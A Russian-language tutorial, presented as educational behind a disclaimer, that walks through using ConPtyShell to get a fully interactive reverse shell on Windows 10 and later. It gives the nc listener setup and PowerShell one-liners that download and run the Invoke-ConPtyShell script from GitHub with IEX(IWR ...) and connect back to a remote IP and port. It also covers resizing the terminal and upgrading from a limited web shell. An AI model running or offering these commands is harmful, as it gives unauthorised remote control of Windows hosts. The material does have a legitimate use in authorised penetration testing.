Как говорится, нет предела совершенству.
Перед началом, хочу обратить Ваше внимание на наш Дисклеймер: Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий и помнить что незнание закона не освобождает от отвественности.
В продолжении статьи по реверс шелу хотели бы показать Вам полностью интерактивный обратный шелл для Windows под названием ConPtyShell.
Внедрение Pseudo Console (ConPty) в Windows значительно улучшило способ обработки терминалов в Windows. ConPtyShell использует функцию CreatePseudoConsole () и эта функция доступна начиная с Windows 10 / Windows Server 2019 версии 1809 и выше.
ConPtyShell использует эту функцию для буквального преобразования вашего bash в удаленный PowerShell. Вкратце, он создает псевдо-консоль и присоединяет 2 канала;
Затем он создает процесс оболочки (по умолчанию powershell.exe), подключающий псевдо-консоль с перенаправленным вводом / выводом; Затем запускается 2 потока для асинхронного ввода-вывода:
— один поток для чтения из сокета и записи в канал ввода псевдо-консоли;
— второй поток для чтения из канала вывода псевдо-консоли и записи в сокет.
Требования: Сторона клиента: версия Windows> = 10/2019 1809 (сборка> = 10.0.17763) / Сторона сервера: любой слушатель типа rlwrap nc -lnvp 1337
Вариант 1: В этом методе, размер терминала устанавливается без передачи параметров row и cols в функцию Invoke-ConPtyShell
Сторона сервера:
stty raw -echo; (stty size; cat) | nc -lvnp 1337
Сторона клиента:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.1 1337
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 192.168.1.1 1337
Вариант 2: Ручной способ. В этом случае важно установить размер строк и столбцов при вызове функции Invoke-ConPtyShell:
Сторона сервера:
stty size
nc -lvnp 1337
Wait For connection
ctrl+z
stty raw -echo
fg [ENTER]
Сторона клиента:
Здесь вы должны использовать значения, считанные из команды stty size в параметрах -Rows и -Cols
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 1337 -Rows 24 -Cols 80
или, если вы загрузите PS1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 1337 -Rows 24 -Cols 80
Изменить размер консоли
В любом случае, если вы измените размер своего терминала, когда уже открыли удаленную оболочку, вы можете изменить размер строк и столбцов непосредственно из powershell, вставив следующий код:
$width=80
$height=24
$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height)
$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height)
Дэмо
Ниже в видео вы можете посмотреть смоделированный сценарий, где на левом терминале ограниченный доступ к серверу через веб-оболочку, а справа создана полностью интерактивная обратная оболочка: